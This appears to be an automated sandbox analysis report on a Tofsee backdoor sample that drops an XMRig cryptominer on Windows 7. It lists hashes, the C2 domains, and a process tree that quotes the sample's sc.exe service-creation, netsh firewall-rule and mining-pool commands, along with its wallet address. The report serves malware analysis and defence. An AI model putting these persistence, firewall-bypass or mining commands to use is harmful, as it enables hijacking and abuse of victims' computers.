Analysis

  • max time kernel
    300s
  • max time network
    303s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 22:22

General

  • Target

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe

  • Size

    251KB

  • MD5

    706117d683f58e36b97b72e170ace5d8

  • SHA1

    f7d0f88554f43728cc36078a9cd51134140da639

  • SHA256

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a

  • SHA512

    e4d0845ac027403b2cb2cb553c950a260a9adc4cd937545b83491d7feac6fe0b5b6878146fcabaf3096fe8ed2f0d94ddbe015f743605f027c2b4f8eefd2d9add

  • SSDEEP

    3072:Hbh7GhyIw5+DY0ZSPw2IKyHJVpys16Cz1npTqfZXKkksDaVXG1OGZ4t7uEa:4EIwss0sPw2IKoHyOnp0KjsAAP4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe
    "C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tytroqlr\
      2⤵
        PID:2876
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dbqyrhcy.exe" C:\Windows\SysWOW64\tytroqlr\
        2⤵
          PID:2344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tytroqlr binPath= "C:\Windows\SysWOW64\tytroqlr\dbqyrhcy.exe /d\"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tytroqlr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tytroqlr
          2⤵
          • Launches sc.exe
          PID:3012
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2680
      • C:\Windows\SysWOW64\tytroqlr\dbqyrhcy.exe
        C:\Windows\SysWOW64\tytroqlr\dbqyrhcy.exe /d"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2608
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2156

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\dbqyrhcy.exe

              Filesize

              10.5MB

              MD5

              2e20169690c7a3fb80a20d138ed31075

              SHA1

              92125eddba684f53bbe020d5286a256630cde781

              SHA256

              6e9ac3dd57be0b54c7636ff842662ff7eb8d88d349e6957f5eee3958c7568f9a

              SHA512

              d3764d87bcf8cb8e11153a1ca316e5212d8a2e40a24f60a94d4366cc823d73e74603401ffd7336fc163f3f8c206ee3667d111c0ca345d43a53bea50ade6901c9

            • C:\Windows\SysWOW64\tytroqlr\dbqyrhcy.exe

              Filesize

              10.5MB

              MD5

              2e20169690c7a3fb80a20d138ed31075

              SHA1

              92125eddba684f53bbe020d5286a256630cde781

              SHA256

              6e9ac3dd57be0b54c7636ff842662ff7eb8d88d349e6957f5eee3958c7568f9a

              SHA512

              d3764d87bcf8cb8e11153a1ca316e5212d8a2e40a24f60a94d4366cc823d73e74603401ffd7336fc163f3f8c206ee3667d111c0ca345d43a53bea50ade6901c9

            • memory/1392-1-0x0000000000910000-0x0000000000A10000-memory.dmp

              Filesize

              1024KB

            • memory/1392-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/1392-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/1392-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/1392-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2156-77-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-78-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-76-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-75-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-74-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-73-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-72-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-64-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2156-63-0x0000000000280000-0x0000000000371000-memory.dmp

              Filesize

              964KB

            • memory/2608-50-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-47-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-27-0x00000000019E0000-0x0000000001BEF000-memory.dmp

              Filesize

              2.1MB

            • memory/2608-31-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-34-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-35-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-36-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-37-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-38-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-39-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-40-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-41-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-42-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-43-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-44-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-45-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-46-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-28-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2608-48-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-49-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2608-24-0x00000000019E0000-0x0000000001BEF000-memory.dmp

              Filesize

              2.1MB

            • memory/2608-51-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2608-54-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2608-55-0x0000000005450000-0x000000000585B000-memory.dmp

              Filesize

              4.0MB

            • memory/2608-58-0x0000000005450000-0x000000000585B000-memory.dmp

              Filesize

              4.0MB

            • memory/2608-59-0x00000000001B0000-0x00000000001B7000-memory.dmp

              Filesize

              28KB

            • memory/2608-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2608-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2608-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2608-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2608-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2608-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-16-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2612-18-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2612-10-0x0000000000920000-0x0000000000A20000-memory.dmp

              Filesize

              1024KB